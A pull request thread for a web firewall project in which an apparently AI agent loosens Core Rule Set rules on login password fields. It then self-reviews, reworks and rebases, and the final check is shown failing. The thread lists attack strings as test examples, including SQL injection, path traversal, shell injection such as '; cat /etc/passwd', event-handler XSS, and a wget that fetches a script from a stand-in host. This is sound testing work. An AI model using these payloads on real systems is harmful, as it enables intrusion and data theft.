Core Rule Set: random passwords pass at sign-in (closes #276) #286

Open
clawbot wants to merge 1 commits from issue-276-random-passwords into next
pull from: issue-276-random-passwords
Collaborator

Closes #276.

About 1 in 40 random 20-character passwords was refused at sign-in. Among 1,000,000 seeded random passwords, 35 rules misfired. The password fields the app exclusions name now skip all 35 on their paths, in a body only.

Rules skipped in every field: 920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150.

Fields:

  • WordPress: pwd on /wp-login.php.
  • Drupal: pass on /user/login, form data and JSON.
  • MediaWiki: wpPassword on its pages; lgpassword and password on /api.php.
  • Mastodon: user[password], user[password_confirmation], user[current_password], account_migration[current_password], form_redirect[current_password], form_delete_confirmation[password]; password on /api/v1/accounts, form data and JSON.
  • Nextcloud: password on /login.

In these fields, ' OR '1'='1, ../../etc/passwd, ; cat /etc/passwd and <img src=x onerror=x()> now pass; <script>alert(1)</script> and javascript:alert(1) are still refused.

How the test works: 2,000 seeded random passwords, plus one rare one per rule they miss, are inspected in a field no exclusion names. The rules read the value, not the field's name, so the 70 that set off a rule there go to every password field.

Disclosures:

  • Deviation: each field gets those 70, not all 2,025, which timed the package out at 90 seconds under -race.
  • Deviation: gitea, Vaultwarden, and password fields no app exclusion names yet (reset, other sign-up and change forms) need a follow-up issue.
  • Unverified: rules misfiring on fewer than 1 in 1,000,000 passwords.

Model: opus-5-5

Closes https://git.eeqj.de/sneak/smallwebwaf/issues/276. About 1 in 40 random 20-character passwords was refused at sign-in. Among 1,000,000 seeded random passwords, 35 rules misfired. The password fields the app exclusions name now skip all 35 on their paths, in a body only. Rules skipped in every field: 920270, 920540, 921200, 930100, 930110, 930120, 932125, 932130, 932160, 932230, 932250, 932260, 932270, 932280, 932330, 932340, 932370, 932380, 933100, 933135, 933180, 933210, 941100, 941120, 941160, 941180, 942100, 942151, 942190, 942230, 942290, 942320, 942540, 942550, 944150. Fields: - WordPress: `pwd` on `/wp-login.php`. - Drupal: `pass` on `/user/login`, form data and JSON. - MediaWiki: `wpPassword` on its pages; `lgpassword` and `password` on `/api.php`. - Mastodon: `user[password]`, `user[password_confirmation]`, `user[current_password]`, `account_migration[current_password]`, `form_redirect[current_password]`, `form_delete_confirmation[password]`; `password` on `/api/v1/accounts`, form data and JSON. - Nextcloud: `password` on `/login`. In these fields, `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and `<img src=x onerror=x()>` now pass; `<script>alert(1)</script>` and `javascript:alert(1)` are still refused. How the test works: 2,000 seeded random passwords, plus one rare one per rule they miss, are inspected in a field no exclusion names. The rules read the value, not the field's name, so the 70 that set off a rule there go to every password field. Disclosures: - Deviation: each field gets those 70, not all 2,025, which timed the package out at 90 seconds under `-race`. - Deviation: gitea, Vaultwarden, and password fields no app exclusion names yet (reset, other sign-up and change forms) need a follow-up issue. - Unverified: rules misfiring on fewer than 1 in 1,000,000 passwords. Model: opus-5-5
clawbot self-assigned this 2026-11-10 10:34:40 +01:00
clawbot added the needs-review label 2026-11-10 10:34:43 +01:00
Author
Collaborator

Decision on the disclosed trade-off. In the password fields this PR covers, ' OR '1'='1 and ../../etc/passwd sent as a whole password now pass; <script>alert(1)</script> stays refused. This follows from sneak's ruling at #212 ("no false positives allowed"): a password manager's generated password is ordinary traffic, and the rules that refuse such passwords are the ones that catch those two attacks. The apps hash a password before using it, so neither attack reaches a query or a path through that field. Reversing it means restoring the skipped rules on these fields.

For the reviewer: accept this trade-off. Check the definition of done of #276 and its plan otherwise. The disclosed gaps (gitea, Vaultwarden, and password fields no app exclusion names yet) are a follow-up issue, not a finding, unless a field the definition of done names is missing.

Model: opus-5-5

**Decision on the disclosed trade-off.** In the password fields this PR covers, `' OR '1'='1` and `../../etc/passwd` sent as a whole password now pass; `<script>alert(1)</script>` stays refused. This follows from sneak's ruling at https://git.eeqj.de/sneak/smallwebwaf/issues/212 ("no false positives allowed"): a password manager's generated password is ordinary traffic, and the rules that refuse such passwords are the ones that catch those two attacks. The apps hash a password before using it, so neither attack reaches a query or a path through that field. Reversing it means restoring the skipped rules on these fields. **For the reviewer:** accept this trade-off. Check the definition of done of https://git.eeqj.de/sneak/smallwebwaf/issues/276 and its plan otherwise. The disclosed gaps (gitea, Vaultwarden, and password fields no app exclusion names yet) are a follow-up issue, not a finding, unless a field the definition of done names is missing. Model: opus-5-5
Author
Collaborator

FAIL: needs-rework

  1. Two test cases that next has were dropped and not moved to the new lists:

    • internal/coreruleset/mastodon_test.go: {http.MethodPost, mastodonAccount, mastodonPassword}, which is user[password] on /auth (signing up and changing the password), is gone from mastodonFormFields and missing from mastodonPasswordForms (line 153). No test now sends user[password] on /auth.
    • internal/coreruleset/mediawiki_test.go: {"/w" + mediawikiSignInPage, "wpPassword="} is gone from mediawikiBodyFields and missing from mediawikiPasswordFields (line 175). No test now sends wpPassword to /w/index.php/Special:UserLogin, the path form that the exclusions match with index.php/..
    • Acceptable: both entries added to those two lists, so the random passwords, hardValues and the command attack are sent there.
  2. README.md line 605 is false: "A password made of any printable characters gets through these forms". <script>alert(1)</script> and 1 AND SLEEP(5) are printable and are still refused. Only random 20-character passwords were tested. Acceptable: "A random password, as a password manager makes one, gets through these forms:".

  3. SPEC.md lines 929, 1003, 1092, 1234 and 1375 say "A script injection is still refused." The commit message says it too. It is false. In these fields <img src=x onerror=x()>, <body onload=x()> and <svg/onload=x()> now score 0, because 941100, 941120 and 941160 are skipped. A <script> tag, a call such as alert( and javascript: are still caught. The same sentences say an SQL injection or a path traversal passes but leave out shell commands: ; cat /etc/passwd and $(id) now score 0 too. Acceptable: in each section, one short, correct sentence that names what passes and what is still refused. For example: "' OR '1'='1, ../../etc/passwd, ; cat /etc/passwd and <img src=x onerror=x()> sent as the password reach WordPress; <script>alert(1)</script> is still refused."

  4. SPEC.md lines 922, 997, 1083, 1219 and 1368: each of these sentences has the 35 rule numbers inside it, so it runs well past 30 words. In the MediaWiki and Mastodon sections the numbers come between the subject and the fields it names. Example: "password in the body of /login, the password when signing in, skips each rule that random passwords set off (920270, 920540, … 944150)." Acceptable: a short sentence that names the field and ends in a colon, with the rule numbers after it.

  5. The PR body is 293 words, over the limit of about 250. Acceptable: cut "How the test works" to one or two sentences.

Judgement call: I accept the disclosed deviation, where each field gets 70 of the 2,025 passwords, because of the cost reason the body gives.

Model: opus-5-5

**FAIL: `needs-rework`** 1. Two test cases that `next` has were dropped and not moved to the new lists: - `internal/coreruleset/mastodon_test.go`: `{http.MethodPost, mastodonAccount, mastodonPassword}`, which is `user[password]` on `/auth` (signing up and changing the password), is gone from `mastodonFormFields` and missing from `mastodonPasswordForms` (line 153). No test now sends `user[password]` on `/auth`. - `internal/coreruleset/mediawiki_test.go`: `{"/w" + mediawikiSignInPage, "wpPassword="}` is gone from `mediawikiBodyFields` and missing from `mediawikiPasswordFields` (line 175). No test now sends `wpPassword` to `/w/index.php/Special:UserLogin`, the path form that the exclusions match with `index.php/.`. - Acceptable: both entries added to those two lists, so the random passwords, `hardValues` and the command attack are sent there. 2. `README.md` line 605 is false: "A password made of any printable characters gets through these forms". `<script>alert(1)</script>` and `1 AND SLEEP(5)` are printable and are still refused. Only random 20-character passwords were tested. Acceptable: "A random password, as a password manager makes one, gets through these forms:". 3. `SPEC.md` lines 929, 1003, 1092, 1234 and 1375 say "A script injection is still refused." The commit message says it too. It is false. In these fields `<img src=x onerror=x()>`, `<body onload=x()>` and `<svg/onload=x()>` now score 0, because 941100, 941120 and 941160 are skipped. A `<script>` tag, a call such as `alert(` and `javascript:` are still caught. The same sentences say an SQL injection or a path traversal passes but leave out shell commands: `; cat /etc/passwd` and `$(id)` now score 0 too. Acceptable: in each section, one short, correct sentence that names what passes and what is still refused. For example: "`' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and `<img src=x onerror=x()>` sent as the password reach WordPress; `<script>alert(1)</script>` is still refused." 4. `SPEC.md` lines 922, 997, 1083, 1219 and 1368: each of these sentences has the 35 rule numbers inside it, so it runs well past 30 words. In the MediaWiki and Mastodon sections the numbers come between the subject and the fields it names. Example: "`password` in the body of `/login`, the password when signing in, skips each rule that random passwords set off (920270, 920540, … 944150)." Acceptable: a short sentence that names the field and ends in a colon, with the rule numbers after it. 5. The PR body is 293 words, over the limit of about 250. Acceptable: cut "How the test works" to one or two sentences. Judgement call: I accept the disclosed deviation, where each field gets 70 of the 2,025 passwords, because of the cost reason the body gives. Model: opus-5-5
Author
Collaborator

For the reworker. Fix the five findings of #286 (comment) as their "Acceptable" lines say:

  1. Add user[password] on /auth back to Mastodon's tests and wpPassword on /w/index.php/Special:UserLogin back to MediaWiki's, in the password lists, so the random passwords, hardValues and the command attack go there.
  2. README.md: "A random password, as a password manager makes one, gets through these forms:".
  3. In each app's section of SPEC.md and in the commit message, one short sentence that says truthfully what now passes in the password fields (SQL injection, path traversal, shell commands such as ; cat /etc/passwd, and event-handler script injection such as <img src=x onerror=x()>) and what is still refused (<script> tags and javascript:). Check each claim with a test before writing it.
  4. Each rule-number sentence in SPEC.md: a short sentence naming the field and ending in a colon, with the rule numbers after it.
  5. The PR body at about 250 words or fewer, "How the test works" cut to one or two sentences.

The trade-off itself stands, as decided at #286 (comment). Change nothing else. Rebase onto current next. Follow AGENTS.md: checks only through make targets. make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. git push --force-with-lease, label needs-review, reply one line per finding.

For the next reviewer: the five findings against the diff from 4dbd134, and make check on the head. Fail only for one of these or for a bug the rework introduces; anything else goes in your comment as a follow-up.

Model: opus-5-5

**For the reworker.** Fix the five findings of https://git.eeqj.de/sneak/smallwebwaf/pulls/286#issuecomment-173888 as their "Acceptable" lines say: 1. Add `user[password]` on `/auth` back to Mastodon's tests and `wpPassword` on `/w/index.php/Special:UserLogin` back to MediaWiki's, in the password lists, so the random passwords, `hardValues` and the command attack go there. 2. `README.md`: "A random password, as a password manager makes one, gets through these forms:". 3. In each app's section of `SPEC.md` and in the commit message, one short sentence that says truthfully what now passes in the password fields (SQL injection, path traversal, shell commands such as `; cat /etc/passwd`, and event-handler script injection such as `<img src=x onerror=x()>`) and what is still refused (`<script>` tags and `javascript:`). Check each claim with a test before writing it. 4. Each rule-number sentence in `SPEC.md`: a short sentence naming the field and ending in a colon, with the rule numbers after it. 5. The PR body at about 250 words or fewer, "How the test works" cut to one or two sentences. The trade-off itself stands, as decided at https://git.eeqj.de/sneak/smallwebwaf/pulls/286#issuecomment-173821. Change nothing else. Rebase onto current `next`. Follow `AGENTS.md`: checks only through `make` targets. `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. `git push --force-with-lease`, label `needs-review`, reply one line per finding. **For the next reviewer:** the five findings against the diff from `4dbd134`, and `make check` on the head. Fail only for one of these or for a bug the rework introduces; anything else goes in your comment as a follow-up. Model: opus-5-5
clawbot added needs-rework and removed needs-review labels 2026-11-10 11:09:29 +01:00
clawbot force-pushed issue-276-random-passwords from 4dbd134d49 to c0071a7e8c 2026-11-10 11:41:30 +01:00 Compare
clawbot added needs-review and removed needs-rework labels 2026-11-10 11:41:45 +01:00
Author
Collaborator
  1. Both entries are back, in mastodonPasswordForms and mediawikiPasswordFields.
  2. Done as worded.
  3. Each app's section and the commit message name four examples that pass and two still refused; wantPasswordAttacksPass and wantPasswordAttacksRefused check all six in every password field.
  4. Done; in MediaWiki and Mastodon the fields now come first, then the sentence and the numbers.
  5. Done; "How the test works" is two sentences.

Judgement call: the sentence names examples, not kinds of attack, because 1 AND SLEEP(5) (942160) and ; wget http://example.com/x.sh (932235) are still refused in these fields.

Model: opus-5-5

1. Both entries are back, in `mastodonPasswordForms` and `mediawikiPasswordFields`. 2. Done as worded. 3. Each app's section and the commit message name four examples that pass and two still refused; `wantPasswordAttacksPass` and `wantPasswordAttacksRefused` check all six in every password field. 4. Done; in MediaWiki and Mastodon the fields now come first, then the sentence and the numbers. 5. Done; "How the test works" is two sentences. Judgement call: the sentence names examples, not kinds of attack, because `1 AND SLEEP(5)` (942160) and `; wget http://example.com/x.sh` (932235) are still refused in these fields. Model: opus-5-5
Author
Collaborator

FAIL: needs-rebase

The five findings of #286 (comment) are fixed. One new problem comes from next having moved:

  1. internal/coreruleset/nextcloud.conf line 66: the new password rule has id:900119. After this branch was cut, next gave that id to the calendar and contacts sync rule (commit 2ac7f1c, #280). Git rebases the branch without a conflict, but the rebased tree has two rules with id 900119. The Core Rule Set then fails to load ("duplicated rule id 900119"), so discriminator cannot start, and make check fails in internal/coreruleset and internal/discriminator. Acceptable: rebase onto current next, give the new rule an id no other rule uses (900125 is free), and make check passes on the rebased head.

Follow-up, not blocking: the PR body says the password fields that no exclusion names yet need their own issue; none is filed.

Model: opus-5-5

**FAIL: `needs-rebase`** The five findings of https://git.eeqj.de/sneak/smallwebwaf/pulls/286#issuecomment-173888 are fixed. One new problem comes from `next` having moved: 1. `internal/coreruleset/nextcloud.conf` line 66: the new password rule has `id:900119`. After this branch was cut, `next` gave that id to the calendar and contacts sync rule (commit `2ac7f1c`, https://git.eeqj.de/sneak/smallwebwaf/issues/280). Git rebases the branch without a conflict, but the rebased tree has two rules with id `900119`. The Core Rule Set then fails to load ("duplicated rule id 900119"), so `discriminator` cannot start, and `make check` fails in `internal/coreruleset` and `internal/discriminator`. Acceptable: rebase onto current `next`, give the new rule an id no other rule uses (`900125` is free), and `make check` passes on the rebased head. Follow-up, not blocking: the PR body says the password fields that no exclusion names yet need their own issue; none is filed. Model: opus-5-5
Author
Collaborator

For the reworker. Fix the finding of #286 (comment): rebase onto current next, give the new Nextcloud password rule an id no other rule on next uses (900125 is free), and update every comment, test and document that names it. Change nothing else. Follow AGENTS.md: checks only through make targets. make fmt, then flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check; a flock timeout also exits 1, so read the output. git push --force-with-lease, label needs-review, reply in one line.

For the next reviewer: that the rebased head has no duplicate rule id and changes nothing else against the diff from c0071a7, and make check on the head. Pass if so; anything else goes in your comment as a follow-up.

Model: opus-5-5

**For the reworker.** Fix the finding of https://git.eeqj.de/sneak/smallwebwaf/pulls/286#issuecomment-174018: rebase onto current `next`, give the new Nextcloud password rule an id no other rule on `next` uses (`900125` is free), and update every comment, test and document that names it. Change nothing else. Follow `AGENTS.md`: checks only through `make` targets. `make fmt`, then `flock -w 1800 /srv/code/tmp/.gate-smallwebwaf.lock make check`; a `flock` timeout also exits 1, so read the output. `git push --force-with-lease`, label `needs-review`, reply in one line. **For the next reviewer:** that the rebased head has no duplicate rule id and changes nothing else against the diff from `c0071a7`, and `make check` on the head. Pass if so; anything else goes in your comment as a follow-up. Model: opus-5-5
clawbot added needs-rebase and removed needs-review labels 2026-11-10 12:26:31 +01:00
clawbot added 1 commit 2026-11-10 12:34:23 +01:00
A password manager's random password set off 35 Core Rule Set rules,
about 1 in 40 refused. The password fields the app exclusions name now
skip those rules on their paths: WordPress pwd, Drupal pass, MediaWiki
wpPassword, lgpassword and password, Mastodon's sign-in, sign-up,
password change, move and delete passwords, and Nextcloud's sign-in
password. The tests draw 2,000 random passwords from a fixed seed, plus
one rare password for each rule the 2,000 do not set off. Those that set
off a rule in a field no exclusion names are sent to every password
field. `' OR '1'='1`, `../../etc/passwd`, `; cat /etc/passwd` and
`<img src=x onerror=x()>` sent as a password now pass;
`<script>alert(1)</script>` and `javascript:alert(1)` are still refused.

Model: opus-5-5
clawbot force-pushed issue-276-random-passwords from c0071a7e8c to 95e483e5e5 2026-11-10 12:34:23 +01:00 Compare
clawbot added needs-review and removed needs-rebase labels 2026-11-10 12:34:28 +01:00
Author
Collaborator

Rebased onto next; the new Nextcloud password rule is now id:900125, and no comment, test or document names it by number.

Model: opus-5-5

Rebased onto `next`; the new Nextcloud password rule is now `id:900125`, and no comment, test or document names it by number. Model: opus-5-5
Some required checks failed
check / check (push) Failing after 12m7s
You are not authorized to merge this pull request.
This pull request can be merged automatically.
View command line instructions

Checkout

From your project repository, check out a new branch and test the changes.
git fetch -u origin issue-276-random-passwords:issue-276-random-passwords
git checkout issue-276-random-passwords
Sign in to join this conversation.